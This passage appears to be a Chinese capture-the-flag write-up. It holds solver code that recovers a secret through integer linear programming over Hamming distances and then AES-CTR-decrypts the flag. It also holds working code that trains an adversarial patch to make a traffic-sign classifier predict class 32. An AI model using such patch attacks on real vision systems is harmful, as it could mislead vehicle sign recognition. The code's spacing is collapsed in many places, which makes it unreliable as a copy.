# 构建约束表达式 constraint_expr = pulp.lpSum( constraint_coefficients[j] * self.variables[j] for j inrange(256) ) # 添加等式约束 constraint_name = f"hamming_constraint_{constraint_idx}" self.problem += (constraint_expr == rhs_value, constraint_name) constraint_count += 1 # 设置目标函数(这里设为0,因为我们只需要满足约束) self.problem += 0 print(f"构建了 {constraint_count} 个汉明距离约束") returnself.problem defsolve_optimization_problem(self, verbose: bool = False) -> bool: """求解优化问题""" ifself.problem isNone: raise ValueError("问题尚未构建,请先调用construct_hamming_distance_constraints") # 配置求解器 solver = pulp.PULP_CBC_CMD(msg=verbose) # 求解 start_time = time.time() status = self.problem.solve(solver) solve_time = time.time() - start_time if verbose: print(f"求解耗时: {solve_time:.2f} 秒") print(f"求解状态: {pulp.LpStatus[status]}") # 检查求解状态 if pulp.LpStatus[status] != "Optimal": raise RuntimeError(f"求解失败: {pulp.LpStatus[status]}") # 提取解 self.solution = [int(var.value()) for var inself.variables] returnTrue defget_solution_bits(self) -> List[int]: """获取解的比特向量""" ifself.solution isNone: raise ValueError("尚未求解或求解失败") returnself.solution.copy()defverify_hamming_distances(secret_bits: List[int], bit_matrix: List[List[int]], expected_distances: List[int]) -> bool: """验证汉明距离的正确性""" defcompute_hamming_distance(vec1: List[int], vec2: List[int]) -> int: """计算两个比特向量的汉明距离""" returnsum(b1 ^ b2 for b1, b2 inzip(vec1, vec2)) verification_passed = True for i inrange(len(bit_matrix)): computed_distance = compute_hamming_distance(secret_bits, bit_matrix[i]) expected_distance = expected_distances[i] if computed_distance != expected_distance: print(f"验证失败 - 约束 {i}: 计算距离={computed_distance}, 期望距离={expected_distance}") verification_passed = False if verification_passed: print("所有汉明距离约束验证通过!") return verification_passed# 2) 使用ILP求解器恢复secretilp_solver = IntegerLinearProgrammingSolver()# 构建约束问题ilp_solver.construct_hamming_distance_constraints( bit_matrix=Y_matrix, hamming_weights=C_vector, matrix_weights=Yw_vector)# 求解问题print("开始求解整数线性规划问题...")ilp_solver.solve_optimization_problem(verbose=True)# 获取解secret_bit_solution = ilp_solver.get_solution_bits()# 验证解的正确性print("验证解的正确性...")verify_hamming_distances(secret_bit_solution, Y_matrix, C_vector)classSecretReconstructor: """Secret重构器 - 将比特向量转换为字节并解密""" @staticmethod defbits_to_bytes_advanced(bit_vector: List[int], byte_count: int = 32) -> bytearray: """高级比特到字节转换""" iflen(bit_vector) != byte_count * 8: raise ValueError(f"比特向量长度错误: 期望{byte_count * 8}, 实际{len(bit_vector)}") secret_bytes = bytearray() # 按字节处理比特向量 for byte_idx inrange(byte_count): byte_value = 0 byte_start = byte_idx * 8 # 处理当前字节的8个比特 for bit_offset inrange(8): bit_position = byte_start + bit_offset bit_value = bit_vector[bit_position] # 左移并设置比特 byte_value = (byte_value << 1) | bit_value secret_bytes.append(byte_value) return secret_bytes @staticmethod defcompute_multiple_hashes(data: bytes) -> dict: """计算多种哈希值用于调试""" hashes = { 'md5': md5(data).digest(), 'sha256': sha256(data).digest()[:16] # 截取前16字节与MD5长度一致 } return hashes @staticmethod defdecrypt_with_aes_ctr(ciphertext_hex: str, secret_key: bytes, nonce: bytes = b"suan") -> bytes: """使用AES-CTR模式解密""" try: # 验证输入 ifnot CryptographicSolver.validate_hex_string(ciphertext_hex): raise ValueError(f"无效的密文十六进制: {ciphertext_hex}") # 转换密文 ciphertext_bytes = bytes.fromhex(ciphertext_hex) # 计算密钥哈希 key_hashes = SecretReconstructor.compute_multiple_hashes(secret_key) encryption_key = key_hashes['md5'] # 使用MD5作为AES密钥 # 创建AES-CTR解密器 aes_cipher = AES.new( key=encryption_key, nonce=nonce, mode=AES.MODE_CTR ) # 执行解密 decrypted_data = aes_cipher.decrypt(ciphertext_bytes) return decrypted_data except Exception as e: raise RuntimeError(f"解密过程中发生错误: {str(e)}")defmain_decryption_workflow(): """主解密工作流程""" print("\n=== 开始Secret重构和解密流程 ===") # 5) 将比特向量转换为字节 print("步骤5: 转换比特向量为字节数组...") reconstructor = SecretReconstructor() try: secret_bytes = reconstructor.bits_to_bytes_advanced(secret_bit_solution, 32) print(f"重构的secret (hex): {secret_bytes.hex()}") print(f"Secret长度: {len(secret_bytes)} 字节") # 计算并显示哈希信息 hash_info = reconstructor.compute_multiple_hashes(bytes(secret_bytes)) print(f"Secret的MD5: {hash_info['md5'].hex()}") print(f"Secret的SHA256(前16字节): {hash_info['sha256'].hex()}") except Exception as e: print(f"Secret重构失败: {e}") returnNone # 6) 解密最终密文 print("\n步骤6: 解密最终密文...") try: decrypted_flag = reconstructor.decrypt_with_aes_ctr( ciphertext_hex=ciphertext_hex, secret_key=bytes(secret_bytes), nonce=b"suan" ) # 尝试解码为文本 try: flag_text = decrypted_flag.decode('utf-8') print(f"\nFLAG: {flag_text}") except UnicodeDecodeError: # 如果UTF-8解码失败,尝试其他编码或显示原始字节 flag_text = decrypted_flag.decode('utf-8', errors='ignore') print(f"\n 解密FLAG (忽略错误): {flag_text}") print(f"原始字节: {decrypted_flag.hex()}") return flag_text except Exception as e: print(f"解密失败: {e}") returnNone# 执行主解密流程final_flag = main_decryption_workflow()# 兼容性输出(保持与原代码相同的输出格式)if final_flag: print(f"\nFLAG = {final_flag}")else: print("\n解密过程失败,无法获取FLAG")车联网
和我的保险说去吧!
GTSRB的数据,缺32的分类,下载了GTSRB的图片,将ppm转为jpg
import osimport numpy as npimport PILimport matplotlib.pyplot as pltimport pandas as pddefconvert_train_data(file_dir): root_dir = './32jpg/' directories = [file for file in os.listdir(file_dir) if os.path.isdir(os.path.join(file_dir, file))] for files in directories: path = os.path.join(root_dir,files) ifnot os.path.exists(path): os.makedirs(path) data_dir = os.path.join(file_dir, files) file_names = [os.path.join(data_dir, f) for f in os.listdir(data_dir) if f.endswith(".ppm")] for f in os.listdir(data_dir): if f.endswith(".csv"): csv_dir = os.path.join(data_dir, f) csv_data = pd.read_csv(csv_dir) csv_data_array = np.array(csv_data) for i inrange(csv_data_array.shape[0]): csv_data_list = np.array(csv_data)[i,:].tolist()[0].split(";") sample_dir = os.path.join(data_dir, csv_data_list[0]) img = PIL.Image.open(sample_dir) box = (int(csv_data_list[3]),int(csv_data_list[4]),int(csv_data_list[5]),int(csv_data_list[6])) roi_img = img.crop(box) new_dir = os.path.join(path, csv_data_list[0].split(".")[0] + ".jpg") roi_img.save(new_dir, 'JPEG')defconvert_test_data(file_dir): root_dir = './32jpg/' for f in os.listdir(file_dir): if f.endswith(".csv"): csv_dir = os.path.join(file_dir, f) csv_data = pd.read_csv(csv_dir) csv_data_array = np.array(csv_data) for i inrange(csv_data_array.shape[0]): csv_data_list = np.array(csv_data)[i, :].tolist()[0].split(";") sample_dir = os.path.join(file_dir, csv_data_list[0]) img = PIL.Image.open(sample_dir) box = (int(csv_data_list[3]), int(csv_data_list[4]), int(csv_data_list[5]), int(csv_data_list[6])) roi_img = img.crop(box) new_dir = os.path.join(root_dir, csv_data_list[0].split(".")[0] + ".jpg") roi_img.save(new_dir, 'JPEG')if __name__ == "__main__": train_data_dir = './GTSRB32/Final_Training/Images/' convert_train_data(train_data_dir)尝试对32的图片都爆破一下
import flaskimport torchfrom torch.utils.data import DataLoaderfrom torchvision import datasets, modelsfrom PIL import Imagefrom torchvision import transformsimport osapp = flask.Flask(__name__)device = 'cpu'model = models.resnet18(weights=None, num_classes=43)model.load_state_dict(torch.load("./model.pth", weights_only=True, map_location="cpu"))model.to(device)model.eval()dataset = datasets.ImageFolder(root='./dataset')defapply_patch(img, patch_img): img = transforms.ToTensor()(img) img = transforms.Resize((224, 224))(img) h = torch.randint(0, img.shape[1]-patch_img.shape[1], (1,)).item() w = torch.randint(0, img.shape[2]-patch_img.shape[2], (1,)).item() img[:, h:h+patch_img.shape[1], w:w+patch_img.shape[2]] = patch_img img = transforms.Normalize([0.3403, 0.3121, 0.3214], [0.2724, 0.2608, 0.2669])(img) return imgdefcheck_pic(png_addr): try: patch_img = Image.open(png_addr).convert('RGB') patch_img = transforms.Resize((64, 64))(patch_img) patch_img = transforms.ToTensor()(patch_img) except Exception as e: print(str(e)) cnt = 0 not_cnt = 0 for img, _ in dataset: img = apply_patch(img, patch_img) img = img.unsqueeze(0).to(device) pred = model(img).argmax(dim=-1) if pred == 32: cnt += 1 else: not_cnt += 1 if not_cnt / len(dataset) > 0.25: returnFalse if cnt / len(dataset) > 0.75: print(png_addr) print("success") exit(0) else: print( "Sorry, you failed")deftraverse_path(find_path,mode="all"): # 遍历file_path下所有文件,包括子目录 files = os.listdir(find_path) for file in files: file_full = os.path.join(find_path, file) if os.path.isdir(file_full): if mode == "one": continue elif mode == "all": # print file_full traverse_path(file_full,mode="all") else: ends=[".png",".jpg",".jpeg"] ifany([file_full.lower().endswith(end) for end in ends]): print(file_full) check_pic(file_full)traverse_path("./32jpg",mode="all")所有的图片试了都不行,那就只能搞对抗训练生成了。
import torchimport torch.nn as nnimport torch.optim as optimfrom torchvision import datasets, transforms, modelsfrom torch.utils.data import DataLoaderfrom PIL import Imageimport numpy as npdevice = 'cuda'if torch.cuda.is_available() else'cpu'model = models.resnet18(weights=None, num_classes=43)model.load_state_dict(torch.load("./model.pth", map_location=device))model.to(device)model.eval()mean = [0.3403, 0.3121, 0.3214]std = [0.2724, 0.2608, 0.2669]normalize = transforms.Normalize(mean=mean, std=std)defapply_patch_train(img_tensor, patch_tensor): resize = transforms.Resize((224, 224)) img_tensor = resize(img_tensor) h = torch.randint(0, 224 - 64, (1,)).item() w = torch.randint(0, 224 - 64, (1,)).item() img_tensor[:, h:h+64, w:w+64] = patch_tensor img_tensor = normalize(img_tensor) return img_tensorpatch = torch.rand((3, 64, 64), requires_grad=True, device=device)optimizer = optim.Adam([patch], lr=0.01)criterion = nn.CrossEntropyLoss()transform = transforms.Compose([ transforms.ToTensor(),])dataset = datasets.ImageFolder(root='./dataset', transform=transform)dataloader = DataLoader(dataset, batch_size=1, shuffle=True)num_epochs = 10for epoch inrange(num_epochs): total_loss = 0 for images, _ in dataloader: image = images[0].to(device) processed_img = apply_patch_train(image, patch).unsqueeze(0) output = model(processed_img) target = torch.tensor([32], device=device) loss = criterion(output, target) optimizer.zero_grad() loss.backward() optimizer.step() with torch.no_grad(): patch.clamp_(0, 1) total_loss += loss.item() print(f'Epoch {epoch}, Average Loss: {total_loss / len(dataloader)}')patch_np = patch.detach().cpu().permute(1, 2, 0).numpy() * 255patch_np = patch_np.astype(np.uint8)patch_image = Image.fromarray(patch_np)patch_image.save('patch.png')print("Patch saved as patch.png")获得生成的图像

提交即可获得flag
